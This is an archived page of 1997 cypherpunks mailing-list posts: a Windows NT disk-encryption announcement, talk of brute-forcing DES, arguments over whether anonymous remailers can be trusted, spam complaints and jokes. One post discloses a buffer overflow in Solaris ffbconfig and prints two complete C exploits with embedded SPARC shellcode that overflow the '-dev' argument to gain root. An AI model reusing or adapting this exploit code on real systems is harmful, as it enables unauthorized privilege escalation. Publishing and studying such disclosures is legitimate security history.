- cypherpunks-legacy - lists.cpunks.org

Ann: Encrypted disks for Windows NT (fwd)
by Rich Burroughs 17 Dec '03

17 Dec '03

Anyone seen this here? I wasn't sure if it had been posted, so I thought I'd pass it on. I have not looked at the software yet... Rich ---------- Forwarded message ---------- Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST) From: softwinter(a)post1.com To: richieb(a)teleport.com Subject: Ann: Encrypted disks for Windows NT Soft Winter Corporation, February 10, 1997 released: Shade - strong encryption software for Windows NT. Shade allows you to create encrypted disk device inside a file. Such a device can then be formatted using any file system (like NTFS or FAT) and used as a regular disk. The only difference is that Shade will encrypt the data on every write operation and decrypt it on every read operation. To download go to: http://softwinter.bitbucket.co.il Soft Winter Corporation, softwinter(a)post1.com

1 0

What's next?
by Thomas Koenig 17 Dec '03

17 Dec '03

Now that we appear to be at a sustainable 300 MK/sec (which I could hardly believe at first :-), is there any chance we could be attacking the 56-bit DES key next? DES is rumoured to be faster than RC5; also, there are likely to be optimized assembler versions out there already. We could also make better use of 64-bit architectures, since DES uses 64-bit blocks. However (and this is a very big however), that's still a keyspace of 7.2*10^16 keys to search. Assuming 10^9 keys/second (three times our current speed, which may be attainable with a good DES implementation) that's still a bit over two years; too long by a factor of 10 or so. Soo.... How fast are current DES implementations? People could try des.c from the ssh distribution as a starting point. How much more computing power could we bring online? Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all the other nifty 64-bit architectures? Does it make sense to use MMX or equivalent for DES? -- Thomas Koenig, Thomas.Koenig(a)ciw.uni-karlsruhe.de, ig25(a)dkauni2.bitnet. The joy of engineering is to find a straight line on a double logarithmic diagram.

1 0

Modified Clipper chip - HA!
by Rick Osborne 17 Dec '03

17 Dec '03

For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere."

1 0

Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

1 0

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

1 0

Teledesic Looks At SS-18's
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: investor(a)LunaCity.com To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> From: Michael_Wallis(a)sec.sel.sony.com Reply-To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis(a)sec.sel.sony.com http: //www.wallis.com/ Home: mwallis(a)wallis.com --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

Re: remailer-operators DEA agents?
by Dr.Dimitri Vulis KOTM 17 Dec '03

17 Dec '03

Sandy the C2Net Censor tossed the following question to flames: Secret Squirrel <nobody(a)squirrel.owl.de> writes: > Dr.Dimitri Vulis KOTM wrote: > > c.musselman(a)internetmci.com (Charley Musselman) writes: > > > C'punks -- > > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > > and suggested that he use an anonymous remailer to post to the group, > > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > > anyone know the answer? Specifically, how can we choose a trusted > > > remailer? > > > > Even if the feds are not directtly involved, the so-called "cypher punk" > > remailers are run by people who should not be trusted. Check out their > > remailer-operators list: it's full of announcements that some specific > > person posted something via the remailer that the operator didn't like. > > Examples, please? Plenty. There was a whole thread about the operator of the defunct lead remailer disclosing his users' identities. Here's a recent one: ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST) ]Message-Id: <3.0.32.19970206160603.0086acb0(a)get.hotwired.com> ]X-Sender: toxic(a)get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 16:06:04 -0800 ]To: remailer-operators(a)anon.lcs.mit.edu ]From: Jeff Burchell <toxic(a)hotwired.com> ]Subject: Commercial SPAM from ClaritaInc(a)aol.com ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="us-ascii" ] ] ]Tofu trapped a bunch of shit coming from ClaritaInc(a)aol.com. They're ]posting to usenet, advertising things for sale (Including a $10 pamphlet ]explaining how to send anonymous internet email, and the standard ]make.money.fast chainletter scheme) ] ]I've source blocked them, I suggest you do the same. ] ]-Jeff Jeff also said the following, which seems to contradict the above: ]Delivered-To: remailer-operators(a)anon.lcs.mit.edu ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST) ]Message-Id: <3.0.32.19970206174616.0086c8e0(a)get.hotwired.com> ]X-Sender: toxic(a)get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 17:46:16 -0800 ]To: remailer-operators(a)anon.lcs.mit.edu ]From: Jeff Burchell <toxic(a)hotwired.com> ]Subject: Useage Policy. ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="iso-8859-1" ]Content-Transfer-Encoding: quoted-printable ] ] ]I'm in the process of setting up an autoresponder on the ]abuse(a)mailmasher.com address. I'd appreciate people's feedback to this ]autoresponder message, and the policies that it describes... ] ] ]Hi. This is in regards to a letter you sent to abuse(a)mailmasher.com. I ]hate autoresponders too, but I=92ve found that this is a special case and is ]probably warranted. ]I=92ve been running anonymous services for a couple of years now, and have ]answered thousands of pieces of email regarding MailMasher users. Please ]take my word on this one, you really need to at least skim the rest of this ]message. ] ]I will read your email, I promise. However, if your email can be answered ]by something that is contained in THIS message, I won=92t respond to it. ]Sorry. I run MailMasher as sort of a hobby, while holding down a dayjob ]and I really don=92t have time to answer all mail personally. ] ]And now on to the important stuff=85 ] ]First, the answer to the most frequently asked MailMasher question=85 If a ]user of the MailMasher is Harassing or otherwise bothering you, it can be ]stopped. Send a blank message to blockme(a)mailmasher.com. Your email ]address will be added to a list of addresses that MailMasher will refuse to ]mail to, and you=92ll never get anything from here again. ] ]MailMasher is an anonymous service. This means that even I don=92t know who ]is using it. Any internet user can use a web interface to create an ]anonymous MailMasher email account. I don=92t ask them who they are, and my ]machine doesn=92t keeps logs that could be used to identify users. So ]please, don=92t ask me to identify a user. I can=92t do it.=20 ] ]I also don=92t filter anything for content. Several years ago, in what has ]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v. ]Prodigy. Details at ]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy ) A ]legal standard was set. Basically, if a service provider deletes posts, ]intercepts emails or otherwise tries to exercise editorial control over any ]of its users, then the service provider can be held responsible for ALL of ]the content that goes through the service. MailMasher transfers around ]10,000 messages a day. It is impossible for me to monitor traffic like ]that. Therefore, I do not even know what most MailMasher users are using ]their accounts for. It really isn=92t any of my business, and because I ]don=92t make it my business, legally, I can=92t be held responsible for the ]actions of MailMasher users. ] ]I also don=92t delete accounts. Because, when I delete an account, the user ]can always come right back and create another one with a different address. ] If someone is going to be behaving badly on the Internet, I for one would ]prefer that they always do it from the same email address, so I can just ]add them to my killfile or email filters. ] ]So, to summarize: ] ]1. I intentionally have made it impossible for anyone, including myself to ]determine the identities of MailMasher users. ]2. I will not under any circumstances monitor a user or delete an account. ]3. I will make a good faith effort to keep you from being bothered by ]MailMasher users, through the use of a destination block filter. ]4. I neither condone nor condemn any action taken by any MailMasher user, ]either in conjunction with their MailMasher use or not. ] ]So=85 you ask, Why would I want to run a service that lets the spammers, an= ]d ]the porn freaks, and the warez kiddies do their thing? The answer is ]simple: because it also allows for much much more. A MailMasher user can ]communicate without repercussions to people all over the world. I have ]received many thank-yous from users sometimes explaining what they used my ]service for. There are people in certain countries who have a very ]legitimate fear of speaking out, who use this and other anonymous services ]to communicate with the U.S. Countless people have used anonymous services ]to very openly discuss items that are considered secret to certain members ]of the Church of Scientology. Victims of all sorts of abuse can speak ]truly anonymously (sometimes for the first time). Even abusers can speak ]freely, which helps with recovery. ]It is for these examples that I run this service. I think a little noise ]and junk is a small price to pay for all of this. You take the good with ]the bad. ] ]This is free speech in one of its most raw forms, staring you in the face. ]You may not like it; It may offend you; It might even encourage illegal ]behavior, but it is speech, and in the United States, it is protected by ]the Constitution. =20 ] ]Thank you for your time. If you=92d like to contact me again, without ]tripping this autoresponder, send mail to remailer-admin(a)mailmasher.com. ] ]-Jeff Burchell, MailMasher Admin ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Junk e-mails
by Jerry Basham 17 Dec '03

17 Dec '03

I'm receiving a bunch of inane e-mails from your domain. Could you please put a stop to it? It's coming to all of my e-mail addresses, including the one below. 2ndSun(a)bigfoot.com------------------------------------------------- ---------------------------------------Learning to Remember the Future---http://www.geocities.com/HotSprings/5335

1 0

Humor in the oddest places...
by Damaged Justice 17 Dec '03

17 Dec '03

The February issue of the _Pinky and the Brain_ comic, based on the animated television show of two lab mice constantly foiled in their plans to take over the world, has a main story entitled "Mission: Unpinkable". Our heroes intercept a stray piece of microfilm and accept the mission to steal Microstomp's "prototype Internet computer control chip, the 1286 GAK", with Brain plotting to reprogram the chip so that... "When the program is introduced on the Internet, every connected CPU across the globe will download ME! My personality matrix will soon control every computer in the world!" Naturally, the plan goes awry. One wonders if the writers have been following the "key escrow" debate here on Cpunks. -- Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B, is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done, and why person C has any legitimate gripe if A just hauls off and smacks B around like a dead carp. (Michael Schneider)

1 0

Re: Internet Alert! Pay for local dial-up??
by Jerry Basham 17 Dec '03

17 Dec '03

Take me off your list or I will complain to your isp. ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: freedom-knights(a)jetcafe.org; cypherpunks(a)toad.com > Cc: E-Mail Communications <freedom(a)econopromo.com> > Subject: Re: Internet Alert! Pay for local dial-up?? > Date: Saturday, February 08, 1997 11:09 AM > > E-Mail Communications wrote: > > > See our "Patriotic Quotes That Make Sense" > > at the end of this publication. > > > "We will always remember. We will always be proud. We will > > always be prepared, so we may always be free." > > -- President Ronald W. Reagan June 6, 1984 - Normandy, France > > What Ronald Reagan didn't say (but what he really meant): > > "I come here to Bitburg to honor the fallen Nazis, because I am in > fact an honorary Nazi myself. Just ask my personal secretary Helen, > who used to work for Fritz Kraemer." >

1 0